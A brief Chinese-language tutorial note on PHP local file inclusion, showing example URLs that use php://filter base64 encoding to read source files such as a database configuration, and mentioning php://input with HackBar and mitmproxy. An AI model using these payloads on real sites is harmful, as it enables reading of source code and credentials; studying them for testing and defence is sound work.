PHP LFI

1. LFI
http://www.example.com/index.php?m =php://filter/convert.base64-encode/resource=index
http://www.example.com/index.php?m =php://filter/read=convert.base64-encode/resource=../sqli/db.php

2. php://input可以等效于post数据
使用hackbar插件提交数据
PHP LFI_第1张图片

然后使用mitmporxy抓包
PHP LFI_第2张图片

参考:http://www.freebuf.com/articles/web/14097.html
https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

你可能感兴趣的:(PHP)